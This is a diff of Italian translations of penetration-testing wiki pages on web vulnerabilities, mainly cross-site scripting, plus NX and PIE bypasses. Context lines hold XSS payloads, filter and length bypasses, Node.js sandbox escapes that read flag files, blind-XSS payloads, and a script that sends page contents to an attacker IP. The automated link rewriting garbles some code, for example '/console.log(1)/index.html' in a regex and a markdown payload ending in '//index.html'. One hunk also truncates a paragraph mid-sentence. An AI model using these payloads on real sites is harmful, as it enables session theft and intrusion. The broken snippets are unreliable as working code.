 - [ ] [**Command Injection**](../command-injection.md)
 - [ ] [**CRLF**](../crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**Open Redirect**](../open-redirect.md)
 - [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](../xss-cross-site-scripting/)
+- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
 
@@ -54,11 +54,11 @@ Alcune delle vulnerabilità menzionate richiedono condizioni speciali, altre ric
 
 Se la funzionalità può essere utilizzata per cercare qualche tipo di dati all'interno del backend, forse puoi (ab)usarla per cercare dati arbitrari.
 
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](../nosql-injection.md)
 - [ ] [**LDAP Injection**](../ldap-injection.md)
 - [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](../sql-injection/)
+- [ ] [**SQL Injection**](../sql-injection/index.html)
 - [ ] [**XPATH Injection**](../xpath-injection.md)
 
 ### **Forms, WebSockets and PostMsgs**
@@ -67,15 +67,15 @@ Quando un websocket invia un messaggio o un modulo che consente agli utenti di e
 
 - [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
 
 ### **HTTP Headers**
 
 A seconda degli header HTTP forniti dal server web, alcune vulnerabilità potrebbero essere presenti.
 
 - [ ] [**Clickjacking**](../clickjacking.md)
-- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
+- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
 - [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
 
 ### **Bypasses**
@@ -85,7 +85,7 @@ Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potre
 - [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](../captcha-bypass.md)
-- [ ] [**Login Bypass**](../login-bypass/)
+- [ ] [**Login Bypass**](../login-bypass/index.html)
 - [ ] [**Race Condition**](../race-condition.md)
 - [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
@@ -96,7 +96,7 @@ Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potre
 Alcune funzionalità richiederanno che **i dati siano strutturati in un formato molto specifico** (come un oggetto serializzato in linguaggio o XML). Pertanto, è più facile identificare se l'applicazione potrebbe essere vulnerabile poiché deve elaborare quel tipo di dati.\
 Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Email Header Injections).
 
-- [ ] [**Deserialization**](../deserialization/)
+- [ ] [**Deserialization**](../deserialization/index.html)
 - [ ] [**Email Header Injection**](../email-injections.md)
 - [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
@@ -107,7 +107,7 @@ Le funzionalità che consentono il caricamento di file potrebbero essere vulnera
 Le funzionalità che generano file includendo input dell'utente potrebbero eseguire codice imprevisto.\
 Gli utenti che aprono file caricati da altri utenti o generati automaticamente includendo input dell'utente potrebbero essere compromessi.
 
-- [ ] [**File Upload**](../file-upload/)
+- [ ] [**File Upload**](../file-upload/index.html)
 - [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ Gli utenti che aprono file caricati da altri utenti o generati automaticamente i
 ### **External Identity Management**
 
 - [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](../saml-attacks/)
+- [ ] [**SAML Attacks**](../saml-attacks/index.html)
 
 ### **Other Helpful Vulnerabilities**
 
@@ -124,6 +124,6 @@ Queste vulnerabilità potrebbero aiutare a sfruttare altre vulnerabilità.
 - [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 - [ ] [**IDOR**](../idor.md)
 - [ ] [**Parameter Pollution**](../parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -11,7 +11,7 @@
 2. Puoi usare eventi o attributi che supportano il protocollo `javascript:`?
 3. Puoi bypassare le protezioni?
 4. Il contenuto HTML viene interpretato da qualche motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
+5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 2. All'interno di un **tag HTML**:
 1. Puoi uscire nel contesto HTML grezzo?
 2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
@@ -35,29 +35,29 @@ debugging-client-side-js.md
 
 ## Valori riflessi
 
-Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
+Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
 
-- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
-- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
-- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
+- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
+- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
+- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
 
 ## Contesti
 
-Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
+Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
 
 ### HTML grezzo
 
-Se il tuo input è **riflesso nell'HTML grezzo** della pagina dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
+Se il tuo input è **riflesso sulla pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
 Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
 
 ### All'interno dell'attributo dei tag HTML
 
-Se il tuo input è riflesso all'interno del valore dell'attributo di un tag potresti provare:
+Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
 
 1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
 2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
-3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
-4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
+3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte**, sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
+4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**", potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Esempio strano di Angular che esegue XSS se controlli un nome di classe:
 ```html
@@ -65,11 +65,11 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-### All'interno del codice JavaScript
+### Inside JavaScript code
 
 In questo caso, il tuo input è riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
 
-- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag iniettato `</script>` è all'interno del codice HTML.
+- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
 - Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
 - `'-alert(1)-'`
 - `';-alert(1)//`
@@ -124,7 +124,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-C'è **codice JS** che utilizza **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
+C'è del **codice JS** che utilizza **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
 
 {{#ref}}
 dom-xss.md
@@ -143,13 +143,13 @@ server-side-xss-dynamic-pdf.md
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAF bypass encoding image
+## Codifica di bypass WAF immagine
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## Iniettare all'interno di HTML raw
+## Iniezione all'interno di HTML raw
 
-Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi sfruttare `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
+Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
 Per questi casi, tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 &#xNAN;_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*o \*\*\*\*\*\***`--!>`\*\**_
 
@@ -226,7 +226,7 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Bypass di lunghezza (piccoli XSS)
+### Bypass della lunghezza (piccoli XSS)
 
 > [!NOTE] > **Altri piccoli XSS per diversi ambienti** payload [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
 ```html
@@ -243,7 +243,7 @@ Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi su un link
 
 ### Impossibile - Dangling Markup
 
-Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
+Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
 
 ## Iniettare all'interno del tag HTML
 
@@ -295,13 +295,13 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass dell'evento interno utilizzando la codifica Unicode**
+**Bypass all'interno dell'evento utilizzando la codifica Unicode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-### Protocollo Speciali All'interno dell'attributo
+### Protocollo speciali all'interno dell'attributo
 
 Qui puoi utilizzare i protocolli **`javascript:`** o **`data:`** in alcuni luoghi per **eseguire codice JS arbitrario**. Alcuni richiederanno interazione dell'utente, altri no.
 ```javascript
@@ -351,7 +351,7 @@ _**In questo caso, il trucco di codifica HTML e il trucco di codifica Unicode de
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione**.
+Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione.**
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@@ -440,11 +440,11 @@ Diversi trucchi con l'uso di diverse codifiche sono già stati esposti in questa
 
 **Bypass per tag e attributi HTML**
 
-Leggi i [Bypass della Blacklist della sezione precedente](#blacklist-bypasses).
+Leggi i [Blacklist Bypasses della sezione precedente](#blacklist-bypasses).
 
 **Bypass per codice JavaScript**
 
-Leggi la [blacklist di bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
+Leggi la [blacklist dei bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
@@ -468,11 +468,7 @@ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-imp
 
 ## Iniezione all'interno del codice JavaScript
 
-In questi casi il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
-
-### Escape del tag \<script>
-
-Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati riflessi' [...] </script>` potresti facilmente **uscire chiudendo il tag `<script>`**:
+In questi casi il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
@@ -752,7 +748,7 @@ Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una
 
 ### Cookie XSS
 
-Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco di cookie tossing:
+Se riesci a innescare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a innescare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco di cookie tossing:
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
@@ -768,11 +764,11 @@ Forse un utente può condividere il proprio profilo con l'amministratore e se il
 
 Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
 
-Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
+Potresti far sì che **l'amministratore attivi il tuo self XSS** e rubi i suoi cookie/sessione.
 
 ## Altri Bypass
 
-### Unicode Normalizzato
+### Unicode normalizzato
 
 Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode** nel server (o nel lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Trova un esempio qui**](../unicode-injection/index.html#xss-cross-site-scripting).
 
@@ -782,7 +778,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
 ```
 ### Ruby-On-Rails bypass
 
-A causa di **RoR mass assignment**, le virgolette vengono inserite nell'HTML e poi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
+A causa di **RoR mass assignment** le virgolette vengono inserite nell'HTML e poi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
 Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@@ -825,7 +821,7 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS con iniezione di intestazioni in una risposta 302
 
-Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo è **non banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
+Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
 
 In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
 Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
@@ -945,7 +941,7 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
 
 Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **sfuggire a una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
+Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
 
 ### Cache di Chrome a XSS
 
@@ -963,7 +959,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
 
 // use of with
 with(console)log(123)
-with(/console.log(1)/)with(this)with(constructor)constructor(source)()
+with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
 // Just replace console.log(1) to the real code, the code we want to run is:
 //return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 
@@ -995,7 +991,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Accessing `require` indirectly
 
-[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo:
+[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono incapsulati da Node.js all'interno di una funzione, in questo modo:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
@@ -1271,7 +1267,7 @@ Costringere l'utente a navigare nella pagina senza uscire da un iframe e rubare
 > [!NOTE]
 > Non **sarai in grado di accedere ai cookie da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato.
 
-### Rubare Contenuto della Pagina
+### Rubare il contenuto della pagina
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1431,7 +1427,7 @@ shadow-dom.md
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}
 
-### Payloads XSS ciechi
+### Payload XSS ciechi
 
 Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
 ```markup
@@ -1473,7 +1469,7 @@ Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
 <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 ```
-### Regex - Access Hidden Content
+### Regex - Accesso ai Contenuti Nascosti
 
 Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
 ```javascript

src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

@@ -10,7 +10,7 @@ Quindi, se il **bot creatore di PDF trova** qualche tipo di **tag HTML**, lo **i
 Per favore, nota che i tag `<script></script>` non funzionano sempre, quindi avrai bisogno di un metodo diverso per eseguire JS (ad esempio, sfruttando `<img` ).\
 Inoltre, nota che in una regolare sfruttamento sarai **in grado di vedere/scaricare il PDF creato**, quindi sarai in grado di vedere tutto ciò che **scrivi tramite JS** (utilizzando `document.write()` per esempio). Ma, se **non puoi vedere** il PDF creato, probabilmente avrai bisogno di **estrarre le informazioni facendo richieste web a te** (Blind).
 
-### Generazione PDF popolare
+### Generazione PDF Popolare
 
 - **wkhtmltopdf** è noto per la sua capacità di convertire HTML e CSS in documenti PDF, utilizzando il motore di rendering WebKit. Questo strumento è disponibile come utility da riga di comando open-source, rendendolo accessibile per una vasta gamma di applicazioni.
 - **TCPDF** offre una soluzione robusta all'interno dell'ecosistema PHP per la generazione di PDF. È in grado di gestire immagini, grafica e crittografia, mostrando la sua versatilità per creare documenti complessi.
@@ -145,9 +145,9 @@ checkPort(i);
 </script>
 <img src="https://attacker.com/startingScan">
 ```
-### [SSRF](../ssrf-server-side-request-forgery/)
+### [SSRF](../ssrf-server-side-request-forgery/index.html)
 
-Questa vulnerabilità può essere facilmente trasformata in un SSRF (poiché puoi far caricare allo script risorse esterne). Quindi prova semplicemente a sfruttarla (leggi alcuni metadati?).
+Questa vulnerabilità può essere facilmente trasformata in un SSRF (poiché puoi far caricare allo script risorse esterne). Quindi prova a sfruttarla (leggi alcuni metadati?).
 
 ### Attachments: PD4ML
 

src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md

@@ -61,7 +61,7 @@ Esempio di payload:
 <div
 id="1
 
-![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
+![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
 -----------------------------------------------
 <a
 title="a

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -4,12 +4,12 @@
 
 ## Informazioni di base
 
-Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzione di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato e abilitato, distingue tra le regioni di memoria destinate al **codice eseguibile** e quelle destinate ai **dati**, come lo **stack** e l'**heap**. L'idea principale è quella di impedire a un attaccante di eseguire codice malevolo attraverso vulnerabilità di buffer overflow mettendo il codice malevolo nello stack, ad esempio, e dirigendo il flusso di esecuzione verso di esso.
+Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzione di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato e abilitato, distingue tra le regioni di memoria destinate a **codice eseguibile** e quelle destinate a **dati**, come lo **stack** e l'**heap**. L'idea principale è quella di impedire a un attaccante di eseguire codice malevolo attraverso vulnerabilità di buffer overflow, mettendo ad esempio il codice malevolo nello stack e dirigendo il flusso di esecuzione verso di esso.
 
 ## Bypass
 
 - È possibile utilizzare tecniche come [**ROP**](../stack-overflow/rop-return-oriented-programing.md) per bypassare questa protezione eseguendo porzioni di codice eseguibile già presenti nel binario.
-- [**Ret2libc**](../stack-overflow/ret2lib/)
+- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
 - [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
 - **Ret2...**
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md

@@ -6,10 +6,10 @@
 
 Un binario compilato come PIE, o **Position Independent Executable**, significa che il **programma può essere caricato in diverse posizioni di memoria** ogni volta che viene eseguito, prevenendo indirizzi hardcoded.
 
-Il trucco per sfruttare questi binari consiste nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
+Il trucco per sfruttare questi binari sta nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
 
 Un suggerimento utile per sfruttare i binari PIE è che il loro **indirizzo base di solito termina in 000** a causa delle pagine di memoria che sono le unità di randomizzazione, dimensionate a 0x1000 byte. Questo allineamento può essere un **controllo critico se un exploit non funziona** come previsto, indicando se l'indirizzo base corretto è stato identificato.\
